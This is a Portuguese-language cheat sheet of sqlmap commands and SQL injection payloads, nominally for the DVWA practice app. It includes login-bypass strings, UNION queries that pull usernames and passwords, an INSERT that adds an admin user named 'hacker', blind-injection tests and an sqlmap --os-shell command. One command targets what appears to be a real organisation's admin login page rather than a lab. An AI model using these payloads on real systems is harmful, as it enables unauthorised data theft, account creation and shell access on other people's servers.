Comandos SQLmap para Explorar Vulnerabilidades no DVWA

SQL Injection na Página de Login (Nível Baixo de Segurança)

sqlmap -u "http://exemplo.com/login.php" --data="username=teste&password=teste&Login=Login" --method POST --level=1 --risk=1 --technique=BEUST --dbms=mysql --dbs

SQL Injection na Página de Login (Nível Baixo de Segurança)

python sqlmap.py -u "https://fjj.org.br/sistema/admin/login.php" --data "username=' or 1=1; --password=password" --method POST --level=1 --risk=1 --technique=BEUST --dbs

SQL Injection na Página de Login (Nível Baixo de Segurança)

sqlmap.py -r post.txt --dbs

SQL Injection na Página de SQL Injection (GET) (Nível Médio de Segurança)

sqlmap -u "http://exemplo.com/injection.php?parameter=value" --method GET --level=2 --risk=2 --technique=BEUST --dbms=mysql --dbs

Uma maneira comum de verificar se uma URL está vulnerável à injeção de SQL é tentar adicionar aspas simples (') a um parâmetro da URL e observar a resposta do servidor. Se o servidor responder com um erro ou comportamento inesperado, isso pode indicar uma vulnerabilidade de injeção de SQL.

http://exemplo.com/pagina.php?id=1'

SQL Injection na Página de SQL Injection (POST) (Nível Alto de Segurança)

sqlmap -u "http://exemplo.com/injection_post.php" --data="data=@dados_post.txt" --method POST --level=5 --risk=3 --technique=BEUST --dbms=mysql --dbs

SQL Injection na Página de Injeção de SQL (Blind), Ordem de Ataque e Erros (Nível Médio/Alto de Segurança)

sqlmap -u "http://exemplo.com/injection_blind.php?parameter=value" --method GET --level=3 --risk=2 --technique=BEUST --dbms=mysql --dbs

Explorando Vulnerabilidades de Injeção de SQL Blind: Testes e Técnicas em URLs

Injeção SQL para Bypass do Login:

' OR 1=1 --

Injeção SQL para Obter Informações Confidenciais:

' UNION SELECT username, password FROM users WHERE '1'='1

Injeção SQL para Adicionar um Novo Usuário Administrador:

'; INSERT INTO users (username, password) VALUES ('hacker', 'novasenha') --

Obter a shell do SO

sqlmap --dbms=mysql -u "$URL" --os-shell

Se a vulnerabilidade de injeção de SQL estiver presente em parâmetros da URL, o método de ataque será diferente. Aqui estão alguns exemplos de como os comandos de injeção de SQL poderiam ser usados em uma solicitação GET

Injeção SQL para Bypass do Login.Este comando injeta uma condição sempre verdadeira no parâmetro do nome de usuário na URL, tentando ignorar a autenticação.

http://exemplo.com/login.php?username=' OR 1=1 --

Injeção SQL para Obter Informações Confidenciais.Este comando tenta injetar uma consulta SQL maliciosa no parâmetro id da URL para recuperar informações confidenciais da tabela de usuários.

http://exemplo.com/informacoes.php?id=1 UNION SELECT username, password FROM users WHERE '1'='1'

Injeção SQL para Adicionar um Novo Usuário Administrador.Este comando tenta injetar uma sequência de SQL maliciosa no parâmetro username da URL para inserir um novo usuário com privilégios de administrador.

http://exemplo.com/criar_usuario.php?username=hacker&password=novasenha'; INSERT INTO users (username, password) VALUES ('hacker', 'novasenha') --

aqui está um exemplo de como você pode realizar um teste de injeção de SQL blind em uma URL: Suponha que temos uma aplicação web com uma URL como esta:

http://exemplo.com/pagina.php?id=1

Vamos usar o parâmetro id como entrada para a nossa injeção de SQL. Primeiro, vamos tentar determinar se o parâmetro id é vulnerável a injeção de SQL blind.

Teste de Tempo de Resposta

Adicione uma condição que resultaria em um atraso perceptível se a injeção de SQL blind fosse bem-sucedida. Por exemplo:

http://exemplo.com/pagina.php?id=1' AND SLEEP(5) --

Se houver um atraso de aproximadamente 5 segundos na resposta do servidor, isso pode indicar uma vulnerabilidade de injeção de SQL blind.

Teste de Booleano:

Use expressões booleanas para determinar se a aplicação responde de maneira diferente com base na avaliação dessas expressões. Por exemplo:

http://exemplo.com/pagina.php?id=1' OR 1=1 --

Se a página responder da mesma forma que quando id=1, isso pode indicar uma vulnerabilidade.

Análise de Comportamento:

Observe qualquer diferença no comportamento da aplicação em resposta a solicitações maliciosas. Por exemplo, se a aplicação retornar uma mensagem de erro específica ou exibir conteúdo diferente, isso pode indicar uma vulnerabilidade.

Erro Personalizado:

Tente induzir a aplicação a gerar um erro SQL. Por exemplo:

http://exemplo.com/pagina.php?id=1' AND (SELECT * FROM invalid_table) --

Se a aplicação retornar uma mensagem de erro indicando que a tabela é inválida, isso pode ser um sinal de uma vulnerabilidade de injeção de SQL.